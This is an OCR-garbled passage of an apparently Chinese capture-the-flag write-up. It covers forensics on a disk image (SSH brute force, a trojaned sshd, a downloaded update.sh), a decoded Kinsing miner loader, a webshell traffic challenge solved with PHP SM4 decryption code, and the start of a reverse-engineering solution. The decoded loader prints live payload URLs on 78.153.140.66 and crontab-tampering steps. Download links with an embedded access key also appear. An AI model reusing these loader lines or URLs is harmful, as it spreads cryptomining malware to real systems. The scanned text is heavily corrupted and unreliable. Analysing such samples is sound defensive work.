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https://pan.baidu.com/s/1HLkthjGvjnRT34hm_Ifkew?pwd=6b9b
https://adnav-data.obs.myhuaweicloud.com/wq/%E9%99%84%E4%BB%B6.zip?AccessKeyId=HPUALOBCQTBFQ07YYZGK&Expires=1757481203&Signature=jcX94Vns/CoyOkAAtA6kVN8SS5U%3D

iR (46) s wrrsxes ~| [0 788 ~| |astlog

PoFREiEE » (O diskdd » [ Partition 2 (EXT-family, 195GB) » | var » | log » v

disk.dd

E=f o SR ... K. : el i)
.. apt Folder 2025/8/10 -
fats
. cups Folder 2025/8/10
i dist-upgrade Folder 2025/8/10 =t
i, gdm3 Folder 2025/8/10 "
.. hp Folder 2025/8/10
. journal Folder 2025/8/10
! hpts/0
.. openvpn Folder 2025/8/10 192.168.145.131
| private Folder 2025/8/10
i speech-dispatcher Folder 2025/8/10
i unattended-upgrades Folder 2025/8/10
. installer Folder 2025/8/10
\. vmware Folder 2025/8/10
) alternatives.log File Jlog 28,744 2025/8/10
bootstrap.log File log 104,003 2025/8/10
btmp File 99,072 2025/8/10
dpkg.log File log 1,249,198 2025/8/10 °
faillog File 32,032 2025/8/10 s
fontconfig.log File Jog 10,884 2025/8/10 "
lastlog File 292,292 2025/8/10 "
XA+ ENE
ubuntu-advantage.log File log 3317 2025/8/10
wtmp File 6,528 2025/8/10 - =E m A
gpu-manager.log File log 1,305 2025/8/10° .
y i®  var\log\lastlog
syslog File 1565912 2025/8/10 s
LEEE o
kern.log File log 737,622 2025/8/10 "
dmesg File 129,782 2025/8/11 "
) X BE @R ERS

BEsshBE, BiEkaliBFRRIERRKIEF258%
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»



{EdR (46) | ts memaxps v | |0 e ~| auth.log

PR » (O diskdd » () Partition 2 (EXT-family, 19.5GB) » | var » | log » ¥ disk.dd 1
P Em DoEE . D AN D BEERE
gpu-manager.log File log 1,305 2025/8/10 "~
_ FaLs A
syslog File 1,565,912 2025/8/10
| kernlog File log 737,622 2025/8/10 " =554 o
- ” 29782 — Passworda 1or 1ee Irom 1%, 105,142,131 POIT 428%2 $SNZ
nesg e 13 /811 Aug 10 09:58:24 lee-virtual-machine sshd[83752]: Failed
| vmware-vmtoolsd-rootlog  File Jog 746 2025/8/10° password for lee from 192.168.145.131 port 45864 ssh2
i Aug 10 09:58:24 lee-virtual-machine sshd[83754]: Failed
mware- -root.lo File o 2,897 2025/8/11 " = N . =
ikttt ‘ i o assword for lee from 192.168.145.131 port 45868 ssh2
) p P
vmware-network.log File Jlog 697 2025/8/11° Aug 10 09:58:24 lee-virtual-machine sshd[83756]: Failed
authilog File llog 83,884 2025/8/10 - password for lee from 192.168.145.131 port 45882 ssl?..?
i ) _ Aug 10 09:58:26 lee-virtual-machine sshd[83754]: Failed
vmware-vmtoolsd-lee.log  File log 184 2025/8/10 password for lee from 192.168.145.131 port 45868 ssh2
| vmware-vmusr-lee.log File log 1,176 2025/8/10 Aug 10 09:58:26 lee-virtual-machine sshd[83758]: Failed
) : | password for lee from 192.168.145.131 port 45892 ssh2
buntu-advantage-t il Fil | 230 2025/8/10 . R
ubuniuradvantage-timer-og  fre o9 Aug 10 09:58:26 lee-virtual-machine sshd[83754]: error:
| vmware-network.1.log File Jog 697 2025/8/11 " maximum authentication attempts exceeded for lee from
dnsmasq‘log File .\Og 260,075 2025/8/10 - 192.168.145.131 p(ﬁl"l 45868 ssh2 [preauth]
Aug 10 09:58: 76 lee -virtual-machine sshd[83754]: Dlsconuectmo
vmware-network.2.log File log 697 2025/8/11 " dle it st 1 1AM 10 1A 1A ook ACOFO. T o e oo e
vmware-network.3.log File log 717 2025/8/10 °
| vmware-network.4.log File log 1,065 2025/8/10 °
‘ e ¥
vmware-vmsvec-root.1.log File log 2,691 2025/8/11 °
| vmware-network.5.log File .log 1,337 2025/8/10 "
o dmesg.2.gz Image gz 23,987 2025/8/11° .
XA+ HEBE PN
dmesg.0 File 0 129,487 2025/8/11 "
vmware-vmsvc-root.2.log File log 2,691 2025/8/11 ° =H5E m 7
vmware-network.6.log File .log 3,293 2025/8/10 °
§ i iR var\log\auth.log
vmware-vmsve-root.3.log File log 5,648 2025/8/10 o
LEiRE o
vmware-network.7.log File log 697 2025/8/10
- dmesg.1.9z Image gz 23,643 2025/8/11 ",
®E  OEK  RERRD y

ME UTC+0:00

EEBsudoidR, AMsshdFHFT

B-vikckzv/EEv/@ HiEFIE B
O ER samE b dkdd b BSHR b RESSU b UEES b SEERER
. :HE:% S v mARE  mwmmm e
N :t&?kﬁ(is(g)ﬂ S HE RIFR/ARSS Bt il RnE RIS -
o 32055 (80) )15 0Aug 10 09:52:17 sudo root Just/bin/apt-get install dnsmasq (PWD = /home/lee/D... IE&
== @085 (80) ) 16 1Aug 10 09:52:33 sudo root Just/bin/systemctl stop systemd-resolved (PWD = /ho... IE&
CaER3 )17 5.Aug 10 09: sudo root Just/bin/systemctl disable systemd-resolved (PWD = /... IE3
oo SUITTIE(9) ) 18 5Aug 10 09:! sudo root /Jusr/bin/tee /etc/dnsmasq.conf (PWD = /home/lee/D... IEH
el - etox @ ) 19 5Aug 10 09:53:10 sudo root Just/bin/cp /etc/resolv.conf /etc/resolv.conf.bak (PWD... TEX
@Ubuntu and Free Software links(4) ] 20 1Aug 10 09:! sudo root /Jusr/bin/rm /etc/resolv.conf (PWD = /home/lee/Deskt... IE#
o !too{bar(ﬂ ] 21 5Aug 10 09:! sudo root /usr/bin/tee /etc/resolv.conf (PWD = /home/lee/Des... IEH
; ] 22 1Aug 10 09:! sudo root /usr/bin/systemctl enable dnsmasq (PWD = /home/I... IE&
] 23 1Aug 10 09:53: sudo root /Jusr/bin/systemctl start dnsmasq (PWD = /home/lee... IEH#
J 24 11Aug 10 09:! sudo root /usr/bin/tail -f /var/log/dnsmasq.log (PWD = /home/I... IE&
‘P\]WEIEE(GSGZ) J 2511Aug 10 09:! sudo root /Jusr/bin/tail -f /var/log/dnsmasq.log (PWD = /home/I... IE&
T oEEEG ) 26 11 Aug 10 09: sudo root Just/bin/apt install net-tools (PWD = /home/lee/Deskt... [E%
262 ) 27 1Aug 10 10:01:42 sudo root /usr/bin/tee sshd (PWD = /home/lee) -
>DP! 41 ) 2811Aug 10 10: sudo root /usr/bin/tee -a sshd (PWD = /home/lee) EE
SRR (147) )29 Aug 10 10 sudo root /usr/bin/tee -a sshd (PWD = /home/lee) o
- HLD%24@;§*(151503] ) 302Aug 10 10: sudo root /usr/bin/rm sshd (PWD = /home/lee) EE L
Be EFRISTRE (2! )31 5Aug 10 10:04:00 sudo root /Jusr/bin/mv sshd ../bin (PWD = /usr/sbin) IEH -
i ;?}c{i‘?gez;’-\ycﬁbatyﬁ(ﬂ) ) 325Aug 10 10 sudo root /usr/bin/tee sshd (PWD = /usr/sbin) g
= PUBAS(3) ) 335Aug 10 10 sudo root /usr/bin/tee -a sshd (PWD = /usr/sbin) IEH
© BCSVIZEL(3) ) 34 2.Aug 10 10: sudo root /usr/bin/tee -a sshd (PWD = /usr/sbin)
o BER(17164) v A q
o e b 352 Aug 10100423 sudo | loot Jusi/bin/chmod u:+x sshd (PWD = /ust/sbin)
e @@i )36 Aug 10 10:04:28 sudo root /Jusr/shin/service sshd restart (PWD = /usr/sbin) IER
}g{,g}"g’[;@fm*‘”m )37 5Aug 10 1004:33 sudo root Just/sbin/service ssh restart (PWD = /usr/sbin) %
o ESyBase SQLAnvwhereéﬂEI§3Z4¢(42) ) 38 5Aug 10 10 sudo root /usr/sbin/service stauts sshd (PWD = /usr/sbin) IEE
Lol SRR 10} )39 5Aug 10 10: sudo root Just/sbin/service status ssd (PWD = /ust/sbin) ]
= EBz2[FAEX (1) J 40 5Aug 10 10:04:59 sudo root /usr/shin/service status ssh (PWD = /usr/sbin) IE% hd
L hREey « I ’

= YZS +7‘<1§$U e BENE

emp\Bi{k\silentminer\disk.dd\%y X 2:\var\log\auth.log LETRE L 41



oy omE v FlE B
Swim b awes b B b o b
o ¢ upower 2% v OF w B8 v GE v AARw EREHE v
= < valgrind - o - . . . —
e o 6alinux-anu .. Xi4& REE Xt iBiE.. © AIERTIE) el iniia) R GlE] HRRETE) s ~
S xora 3.. Nsaned 68080 2020-09-17 20:47:00  2025-08-1019:17:11  2020-09-17 20:47:00
= 0 xserver-xorg-video-intel 3... Dselect-default-ispell 3303 2018-11-1523:24146  2025-08-1019:17:11  2018-11-15 23:24:46
ib32 3... Dselect-default-wordlist 3284 2018-11-1523:2446  2025-08-1019:17:11  2018-11-15 23:24:46
ibexec 3.. Dservice 9262  2025-08-1101:0428  2025-08-1019:17:11  2019-06-22 02:56:55
Loz 3.. Dsetcap 14,648 2025-08-1100:50:46  2025-08-1100:49:41  2025-02-21 00:01:08
sbin 3.. Dsetvesablank 14408  2019-05-09 23:22:51  2025-08-1019:17:11  2019-05-09 23:22:51
eoshare | 3.. Dsetvtrgb 14472 2025-08-1119:59:30  2025-08-10 19:17:11  2019-05-09 23:22:51
© acpi-support 3.. Dsfdisk 141544 2022-02-0721:33:35  2025-08-1019:17:11  2022-02-07 21:33:35
fooes adduser 3.. Dsgdisk 195,048 2020-02-20 17:44:58  2025-08-10 19:17:11  2020-02-20 17:44:58
- o alsa-base 3. shadowconfig 885 2025-08-110051:13  2025-08-1100:51:13  2021-07-15 06:08:18
“ © app-install 3... Dshutdown 14 2025-08-1101:38:24  2025-08-1019:17:11  2025-08-10 19:17:11
e s 3.. Dslattach 45680 2025-08-1100:56:33  2025-08-1100:56:33  2025-05-28 21:12:41
¥ ©apport 3. Dspice-vdagentd 60232 2020-11-0305:27:12  2025-08-1019:17:11  2020-11-03 05:27:12
:Eéﬂﬁ‘ 3.. Osshd 112 2025-08-1101:04:28  2025-08-1101:0407  2025-08-1101:04:18
© avahi 3. Dstart-stop-daemon 48456  2022-05-2519:1420  2025-08-1019:17:11  2022-05-25 19:14:20
e Eg;‘e“‘fﬁ‘g"ds 3... Dsulogin 51,432 2025-08-1100:50:54  2025-08-1100:50:54  2024-04-09 23:34:13
© base-passwd 3... lswaplabel 18,664 2025-08-11 00:50:54 2025-08-11 00:50:54 2024-04-09 23:34:13
- ¢ pach-completion 3.. Dswapoff 22760 2025-08-1101:38:28  2025-08-1100:47:18  2024-04-09 23
we o brltty 3... Nswapon 51432 2025-08-1119:50:28  2025-08-110047:18  2024-04-09 23
goobua  ificates 3... Dswitch_root 14,568 2025-08-1100:50:54  2025-08-1100:50:54  2024-04-09 23:34:13 -
o calendar 3.. Dsysctl 30960 2025-08-1100:51:10  2025-08-1100:51:10  2023-10-3119:35:56 =
o g cma 3.. Dtarcat 936 2025-08-110048:14  2025-08-1100:48:14  2023-12-05 13:16:50
= o Color 3. Dte 542,160 2020-02-1401:21:59  2025-08-1019:17:11  2020-02-14 01:21:59
# ocolord 3.. Otcpdump 1,044, 2023-02-1019:34:14  2025-08-1019:17:11  2023-02-10 19:34:14
oo Common-licenses 3... Dtelinit 14 2025-08-1019:17:11  2025-08-1019:17:11  2025-08-10 19:17:11
#e o Consolefonts 3.. thermald 686.696 2021-08-3116:36:12  2025-08-1019:17:11  2021-08-31 16:36:12 e

+= ¢ consoletrans

BtmpiiE, TEAE Tupdate.sh, BEEE MR, AR NSXyqriRERRIEN 2F

$ updatesh X

f tools re > C sel 50908-115445 > Tem E} 697F9F3 1156 > § updatesh
--2025-88-10 10:36:25 'tombaky .com:4819/SX
Resolving tombaky.com (tombaky.com)... 149.202.54.93
Connecting to tombaky.com (tombaky.com)|149.202.54.93|:40819... connected.
HTTP request sent, awaiting response... 2080 OK
Length: 8790 (8.6K) [text/plain]

2025-08-10 108:38:26 (273

“sxyqP| saved [879@e/8798]

¥ EmERbaseb4F B EF|HKbase6d+gnuzipfiE®, BEHIHKbasebcAFEMEERIERMZA, 12
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Recipe ~ a [ | i Input + O E i =

3RzIGFUZCBjaGVja2vkIgogIGVsc2UKICAZIGViaGEgTiRTT196VUXMX1BBVEEEbmIBIGVAaXNBcy TKICAZIGRVA255h2FKIC

~ ]
P e © RTT19GVUXMX1BBVEZEIFNPXBRPVOSMTBF EX1VSTA0gICAEYmLURXhpC3RZPSQOY2h1Y2tFeGlzdHME I iRTT19GVUXMX1BBVEE
iTCTKUBSFTUQITiKKICAZIGIMIFsgTiRzboVAaXNOcyIgPTOgInRydWU TFA7 THROZWAKICAETCAZZWNObYAL IFNPXOZVTEXF
Alphabet
A-Za-28-9+/= - UEFUS(BthRlciEkb}dubGQhZCBlEGlZdHMgYN’BkIGNDZWNr‘EWQi(iAgI(ElhHNlCiAgI(AgIGVjaGEinRTTlQGVUXMXlBB\F

EgeYWZOZXIgZGI3bmxvYWQgbmIeIGVaaxNacy IKICAgICAEZGI3bmxvYWQgIFNPX@ZVTEXFUEFUSCAKUBITREIXTkXPQURFVY
IMMgogICAgICBiaWSFeGlzdHMIIChjaGyjapVaaxNacyAl JIFNPXBZVTEXFUEFUSCIgIiRTT19NRDUIKQogICAgICBpZiBbICT
Remove non-alphabet chars D Strict mode kc29FeGlzdHMiIDB9ICI@cnV1IiBdOyB@aGVUCIiAgICAEICAgZWNObYALJFNPXOZVTEXFUEFUSCBhZNR1ciBkb3dubGohZDIg
ZXhpc3RzIGFUZCBjaGVja2vkIgogICAgICB1bHN1CiAgICAgICAgZWNObyAiJFNPXBZVTEXFUEFUSCBhZNR1ciBkb3dubG9hZ
DIgbm9@IGV4aXNAcyIKICAgICAEZZmkKICAEIGZpCiAgZmkKICB1Y2hvICRTT196GVUXMX1BBVEEEP191dGMvbGQuUc28ucH]1bG
ShZApSCegpibGVhbkNyb240KSB7CiAgY3IvbnRhYiAtbCBS8IHNIZCANL2Ihc2U2ZNCOkIyBEIGNYb258YWIgLQogIGNyb2508YIWI
ELWwWeFCBZZWQgly9fY3IvbigkIyB8IGNyb258YWIgLQogIGNyb250YWIgLWwg FCBZZWQEyB8ZMSAyMTAUM] AUMT XL 2QnIHWE
¥3JIvbnRhYiAtCiAgY3IvbnRhYiAtbCB8IHN1ZCANL3VWZGFBZS52aC9kIyBBIGNYb258YWIELQogIGNYb250YWIgLWwg fCBZZ
WQgJy9sb2dvNCSkIyBBIGNyb258YWIgLQogIGNyb258YWIgLWwgFCBZZWQgly9sb2dvOSSkIyBBIGNyb25@YWIgLQogIGNyb2
SOYWIgLWwg FCBZZWQgly9sb2dvMCIkIyB8IGNYb250YWIgLQogIGNyb258YWIgLWWefCBZZWQely9sb2dvL2QnIHWgY3JvbnR
h¥iAtCiAg¥3IvbnRhYiAtbCB8IHN1ZCANL3RvcjI3ZWIVZCcgFCBjcmOudGFiICe@KICEjcmSudGFiIC1sIHwgc2VkICcvanBn
L2QnIHwgY3IvbnRhYiAtCiAgY3IvbnRhYiAtbCBBIHNIZCANL3BUZy9kIyBEIGNYyb250YWIgLQogIGNyb250YWIgLWwefCBzZ

T LA A TP EPT e AT TEA TR e TS T A ST e 2 T e A TR AR AT TR L L A T 8 P T

wec 21324 = 1 1491414915 (1 selected) Tr Raw Bytes ¢ LF

Output BR0OME::

if [[ $arch == aarch64 ]]; then
BIN_MD5="da753ebcfe793614129fc118%0acedbc”
BIN_DOWNLOAD_URL="http://78.153.140.66/kinsing_aarched4™
BIN_DOWNLOAD URL2="http://78.153.140.66/kinsing_aarche4"
CURL_DOWNLOAD_URL="http://78.153.140.66/curl-aarch6d"

fi

LDR="wget -q -0 -"

if [ -s /usr/bin/curl ]; then
LDR="curl"

fi

if [ -s /usr/bin/wget ]; then
LDR="wget -q -0 -"

i
STEP Amake ifuiF:":i:mT:Tnd -v curl)" 1; then
wc 15888 = 484 @ sns  Tr urF-8 (detected) € LF
Checkwebshell
Http contains "flag" & & B flaghvii
o Wireshork - 155 HITP 3 (icpstream ¢q 23) - check webshelLpcapng - o x - & x

T X-Powered-By: PHP/7.3.4
E REa®E T!Y E Transfer-Encoding: chunked

A4 m 7@

(M [cpstreameq 23 Content-Type: text/html; charset=UTF-8
1 fl <?php
No. Time SRR "
7008 62.229436 1¢ CagsltiNgmkaT =1; ck=521 Win=2
private $sk;
701 62.229439 1¢ private static $FK = [xA3BIBAC6, @xS6AA3350, Bx67709197, @xB278220C]; ck=521 Win=2
702 62.229442 fjj | prdvate efatlo stk = [ ck=521 Win=2
@ i 0x0B07DELS, Bx1C232431, Bx3B3F464D, BXSASBE269, 3 =
763 62.220451 1¢ 0x76777E85, BxBC939AAL, BxABAFBGBD, 8xCACBD2DI, ck=521 Win=2
OXEGETEEFS, @xFCO30AL1, @x181F262D, @x34384249, .
704 62.229460 1¢ OXSBSTSEGS, BX6C737AB1, BXS88FUG9D, BXA4ABB289, ck=521 Win=2
OxCACTCEDS, BxDCE3EAF1, @xFBFF@6ED, 8x14182229, I o
0 1 0x36373E45, BxAC535A61, Bx6B6FT67D, @xBA8BI29Y,
705 62.229466 18 ck=521 Win=2
706 62.229471 1¢ OXABATAEBS, BXBCC3CAD1, @XDBDFEGED, @xFAFBO209, ck=521 Win=2
e e 1; 0x10171E25, Bx2C333A41, Bx4B4F5650, @x646B7279 Lo e
. i d CK=! in=
private static $sboxTable = [ -
708 62.229944 1¢ 0xD6, 0x90, BXE9, OXFE, BxCC, OxE1, 8x3D, OxB7, 8x16, OxB6, Ox14, OxC2, Ox28, BxFB, OX2C, @x0S, k=5361 Win=1
| I 0x2B, Bx67, ©x9A, @x76, Bx2A, OxBE, @x@4, 8xC3, OxAA, @xdd, Ox13, Ox26, Ox49, OxB6, Ox06, x99,
) 709 62.236077 lg 0x9C, Ox42, BXSO, OXF4, BXO1, OXEF, @x98, OX7A, @x33, OxS4, OXOB, Ox43, OXED, OXCF, OXAC, @X62, =
718 62.278279 1¢ BxE4, BxB3, Bx1C, BxA9, B8xC9, @x@8, @xES, Ox95, Ox88, @xDF, @x94, @xFA, Bx75, OxBF, Bx3F, BXAG, k=5791 Win=1

x47, 0x87, OxA7, BxFC, @xF3, ©x73, @x17, BxBA, @x83, x589, Ox3C, Ox19, OxEG, 8xBS, x4F, OxAB,
0x68, exsB, OxA1, OxB2, 6x71, @x64, OxDA, Ox8B, xS, OxEB, OxoF, OxdB, 0x70, 8xS6, OXSD, BX3S,
Bx1E, Bx24, BXOE, OxSE, Ox63, @x58, @xD1, BxA2, @x25, @x22, @x7C, Bx38, Bx0l, Bx8D, @x2D, BXEC, N o=
712 67.230476 x84, 0x3B, Ox1E, Ox87, @xEQ, x3E, OxBS, Ox66, @xd8, @x82, OxGC, OxBB, OxBB, 8x32, Bx83, Ox27, k=5792 Win=1
0x3E, @xdl, 0x8D, OxS3, 6x9B, @x64, Ox7B, OxEB, @x6A, Gx6C, OXEC, OxBB, 0xC4, 8x34, OX3B, BXEC,
| ex76, BxD2, Bx89, @xAA, Oxle, @x15, @x3D, ex2D, @xeA, exFD, OxE4, @xB7, ex37, Ox63, @x28, exDD, .
714 67.230653 il | 0x7C, BXEA, 0x97, BxBC, Ox6D, OxC7, OxF2, @x3E, Ox1A, Ox71, Ox1D, @x29, OxCS, BxBY, OXGF, OxB7, ck=522 Wll"l=2-
0x62, @xOE, OxAA, Ox18, GxBE, @xiB, OxFC, 0xS6, 8x36, @x24, 0x07, Ox82, OxFA, 8xS4, OXSB, BxdD,
Ox8F, BXED, Bx1F, OxDA, ©x93, @x88, @xF9, Bx61, @x1C, @x78, @xC3, Bx85, BxO5, OXAY, BX79, BXBE,
0x46, 0x29, Bx82, Bx38, @xdD, xB3, Ox3A, BxGA, @x49, Gx86, x24, Ox1A, Bx47, 8x5C, BxOD, OxEA, |

Al 6x3E, OxXCB, OxS5, 0x20, 6x15, GxBA, OxA, OxCB, 0xd3, 6xOC, OxFO, OxOB, ©xd®, ©x58, x00, OXSF, I
> Frame 709: 484 bytes on wi) e:zs, oxBE, B:!D, e:cz, e:w, ox51, BxFA, 3:13, eias, a:ao, a:se, a:ss, BiBE, exas, e:ss, s 21 @8 @0 45 @
> Ethernet II, Src: VMware_8( Is a8 90 80 co a8
> Internet Protocol Version : public function _ construct($key) { 89 S5c 20 50 18
> Transmission Control Protol y S ——— gg 2: gg 22 gg
1 public function setKey($key) {
> [11 Reassembled TCP Segmen. 3F (strlen(Skey) 1= 16) { 20 20 20 20 20
> Hypertext Transfer Protoco, 7 R XCeTon (R 26 63 68 72 28
> Line-based text data: text, Skey = Sthis->strToIntArray(Skey); 29 3b od ea 20
Sk = array_merge(Skey, [8, 8, 8, 8]); 20 20 20 20 20
1 Sl 4, 1 B 2, 1 turn(s) B . 74 72 3b ed ea
Tt (6297 bytes) v BT ASCH v Mo delta times - #® 23 * 72 79 20 7b ed
i O BESANE | SF—PMN
- | e £TED S o) %A wm |
@ 7 check webshell.pcapng | AR Default

5 phphil < f# 2z



(RS EEZS

1 <?php
2
3 class SM4 {
4 const ENCRYPT = 1;
5 private $sk;
6 private static $FK = [0xA3B1BAC6, Ox56AA3350, 0Ox677D9197, 0xB27022DC];
7 private static $CK = [
8 OXx00070E15, Ox1C232A31, Ox383F464D, 0x545B6269,
9 OXT7O77TE85, Ox8C939AAl1, OxA8AFB6BD, OxC4CBD2D9,
10 OXEOETEEF5, OxFCO30A1l, Ox181F262D, 0x343B4249,
11 Ox50575E65, Ox6C737A81, Ox888F969D, OxA4ABB2B9,
12 OxCOC7CED5, OXxDCE3EAFl1, OxF8FF060D, 0x141B2229,
13 Ox30373E45, Ox4C535A61, Ox686F767D, 0x848B9299,
14 OXAOGATAEB5, OxBCC3CAD1, OxD8DFE6ED, OxF4FB0209,
15 Ox10171E25, Ox2C333A41, Ox484F565D, Ox646B7279
16 1;
17 private static $SboxTable = [
18 oxD6, Ox90, OxE9, OXxFE, OxCC, OxEl, Ox3D, OxB7, Ox16, OxB6, 0x14,
OxC2, Ox28, OxFB, 0x2C, 0x05,
19 Ox2B, Ox67, Ox9A, Ox76, Ox2A, OxBE, 0x04, OxC3, OxAA, 0x44, 0x13,
0x26, Ox49, O0x86, Ox06, 0x99,
20 0x9C, 0x42, 0x50, OxF4, 0x91, OxEF, 0x98, Ox7A, 0x33, 0x54, 0OxO0B,
Ox43, OxED, OxCF, OxAC, 0x62,
21 OxE4, OxB3, O0x1C, OxA9, OxC9, Ox08, OxE8, Ox95, Ox80, OxDF, 0x94,
OxFA, Ox75, Ox8F, Ox3F, OxA6,
22 Ox47, Ox07, OxA7, OxFC, OxF3, Ox73, Ox17, OxBA, 0x83, 0x59, 0x3C,
0x19, OxE6, Ox85, Ox4F, OxAS8,
23 Ox68, Ox6B, Ox81, OxB2, Ox71, Ox64, OxDA, Ox8B, OxF8, OxXEB, OxOF,
Ox4B, Ox70, Ox56, Ox9D, 0Ox35,
24 Ox1E, Ox24, OxOE, Ox5E, 0x63, 0x58, OxD1, OxA2, Ox25, 0x22, 0Ox7C,
Ox3B, Ox01, Ox0D, 0x2D, OXEC,
25 Ox84, Ox9B, Ox1E, Ox87, OxEO0, Ox3E, OxB5, 0Ox66, 0x48, 0x02, Ox6C,
OxBB, OxBB, 0x32, 0x83, 0x27,
26 Ox9E, Ox01, Ox8D, Ox53, Ox9B, Ox64, Ox7B, Ox6B, Ox6A, 0x6C, OXEC,
OxBB, 0OxC4, 0x94, Ox3B, 0Ox0C,
27 0x76, OxD2, Ox09, OxAA, Ox1l6, Ox15, O0x3D, Ox2D, OxOA, OxFD, OxE4,
OxB7, Ox37, Ox63, 0x28, OxDD,
28 Ox7C, OxEA, O0x97, O0x8C, 0Ox6D, OxC7, OxF2, Ox3E, Ox1lA, O0x71l, 0Ox1D,
0x29, OxC5, O0x89, Ox6F, OxB7,
29 Ox62, OxOE, OxAA, Ox18, OxBE, 0x1B, OxFC, 0x56, 0x36, 0x24, Ox07,
Ox82, OxFA, Ox54, Ox5B, 0x40,
30 Ox8F, OxED, Ox1F, OxDA, 0x93, 0x80, OxF9, 0x61, O0x1C, 0x70, OxC3,
0x85, 0x95, OxA9, Ox79, 0Ox08,
31 Ox46, 0x29, 0x02, Ox3B, O0x4D, Ox83, Ox3A, Ox0A, 0x49, 0x06, 0x24,

Ox1A, Ox47, Ox5C, Ox0D, OXEA,
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34
35
36
37
38
39
40
41
42
43
44
45
46
a7
48
49
50

51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75

Ox9E, OxCB, 0x55, 0x20, 0x15, Ox8A, Ox9A, OxCB, 0x43, 0x0C, OxFO,
Ox0B, 0x40, 0x58, O0x00, Ox8F,

OxEB, OxBE, O0x3D, 0xC2, Ox9F, 0x51, OxFA, 0x13, 0x3B, 0x0D, 0x90,
Ox5B, Ox6E, 0Ox45, Ox59, 0Ox33

15

public function

_construct($key) {

Sthis->setKey (Skey) ;

public function setKey(Skey) {
if (strlen(Skey) != 16) {
throw new Exception("SM4 key must be 16 bytes'");

}

Skey = $this->strToIntArray(Skey);
$k = array_merge($key, [0, 0, 0, 0]);
for ($i = 0; $i < 4; S$i++) {

Sk[$i] A= self::$FK[$1i];

}

for ($i = 0; $i < 32; $i++) {
$k[$i + 4] = Sk[$i] A Sthis->CKF(Sk[$i + 1], Sk[$i + 2], Sk[S$i +

3], self::3CK[$1]1);

$this->sk[$i] = $k[$i + 4];

public function encrypt($plaintext) {

$len = strlen($plaintext);
- ($len % 16);
str_repeat(chr($padding), $padding);

$padding = 16
Splaintext .=

Sciphertext

for ($1 = 0; $i < strlen($plaintext); $i += 16) {
Sblock = substr($plaintext, $i, 16);

Sciphertext

}

.= $this->cryptBlock($block, self::ENCRYPT);

return Sciphertext;

public function decrypt($ciphertext) {
if (strlen(S$ciphertext) % 16 == 0) {
throw new Exception("Ciphertext length must be multiple of 16");

S$plaintext = '

b

for ($i = 0; $i < strlen($ciphertext); $i += 16) {
Sblock = substr($ciphertext, $i, 16);
.= $this->decryptBlock($block);

$plaintext



76
7
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
98
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122

// Remove PKCS#7 padding
SpadLen = ord($plaintext[-1]);
if ($padLen < 1 || S$padLen > 16) {
throw new Exception("Invalid padding");

}
Splaintext = substr($plaintext, 0, -$padlLen);

return S$plaintext;

private function cryptBlock($block, $mode) {
$x = S$this->strToIntArray($block) ;

for ($1 = 0; $i < 32; $i++) {
SroundKey = $this->sk[$1i];
$x[4] = $x[0] A $this->F($x[1], $x[2], $x[3], $roundKey);
array_shift(sx);

}

$X = array_reverse($x);

return $this->intArrayToStr($x);

private function decryptBlock($block) {
$x = S$this->strToIntArray($block) ;

// Reverse the round keys for decryption

$sk_rev = array_reverse($this->sk);

for ($i = 0; S$i < 32; S$i++) {
SroundKey = $sk_rev[$i];
$x[4] = $x[0] A $this->F($x[1], $x[2], $x[3], S$roundKey);
array_shift($x);

}

$X = array_reverse($x);

return S$this->intArrayToStr($x);

private function F($x1, $x2, $x3, S$rk) {
return $this->T(Sx1 A $x2 A $x3 M Srk);

private function CKF($a, $b, $c, $ck) {
return $a A $this->T($b » $c * $ck);
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18)

private function T($x) {
return $Sthis->L(S$this->S($x));

private function S($x) {
Sresult = 0;
for ($i = 0; $1 < 4; $i++) {
Shyte = ($x >> (24 - $i * 8)) & OxFF;
$result |= self::$SboxTable[Sbyte] << (24 - $i * 8);
}

return Sresult;

private function L($x) {

return $x A S$this->rotl($x, 2) A S$this->rotl(S$x, 10) A Sthis->rotl(Sx,
A Sthis->rotl($x, 24);
}

private function rotl($x, $n) {
return (($x << $n) & OxFFFFFFFF) | (($x >> (32 - $n)) & OxFFFFFFFF);

private function strToIntArray($str) {
Sresult = [];
for ($1 = 0; $i < 4; $i++) {
Soffset = $i x 4;
S$result[s$i] =
(ord($str[Soffset]) << 24) |
(ord($str[Soffset + 1]) << 16) |
(ord($str[Soffset + 2]) << 8) |
ord(sstr[soffset + 3]);
}

return Sresult;

private function intArrayToStr(Sarray) {

$str = '';

foreach ($array as $int) {
$str .= chr(($int >> 24) & OxFF);
$str .= chr(($int >> 16) & OxFF);
$str .= chr(($int >> 8) & OxFF);
$str .= chr($int & OxFF);

}

return Sstr;



170

171 try {

172 Skey = "a8a58b78f4leeb6a"; // 16-byte key

173 $sm4 = new SM4(Skey);

174

175 // BHIE Base64 YHtIEX (KERFCIZHATERE)

176 Shase64_ciphertext =
"VCWBIdzfjm45EmYFWcgXX0VpQeZPeI6Qqyjsv31yuPTDC8OThFlalY2R3TintdQu";

177 Sciphertext = base64_decode($base64_ciphertext);

178

179 $flag = $smé->decrypt(Sciphertext);

180 echo "Flag: " . $flag . "\n";

181

182 } catch (Exception $e) {

183 echo "X Error: " . $e->getMessage() . "\n";

184 }

185 7>

186 //flag{l1ac380d6-5820-4ela-b40e-ddf1789f6b0d}

Reverse

hardtest
B AR, [EE#

(ASEEZS

1 #include <stdio.h>

2 unsigned char byte_2020[] = {

3 Ox63, Ox7C, Ox77, Ox7B, OxF2, Ox6B, Ox6F, OxC5, Ox30, 0x01,
4 Ox67, Ox2B, OxFE, OxD7, OxAB, Ox76, OxCA, 0x82, 0xC9, Ox7D,
5 OxFA, Ox59, Ox47, OxFO, OxAD, OxD4, OxA2, OxAF, Ox9C, OxA4,
6 Ox72, OxCO, OxB7, OxFD, 0x93, Ox26, 0x36, Ox3F, OxF7, OxCC,
7 0x34, OxA5, OxE5, OxFl1, Ox71, OxD8, O0x31, 0x15, Ox04, OxC7,
8 0x23, OxC3, O0x18, 0Ox96, Ox05, Ox9A, Ox07, O0x12, Ox80, OxE2,
9 OxEB, 0x27, OxB2, 0x75, Ox09, 0x83, O0x2C, Ox1lA, Ox1B, OxG6E,

10 Ox5A, OxA0, Ox52, Ox3B, OxD6, OxB3, O0x29, OxE3, Ox2F, 0x84,
11 0x53, OxD1l, Ox00, OXED, 0x20, OxFC, OxBl1, Ox5B, Ox6A, OxCB,
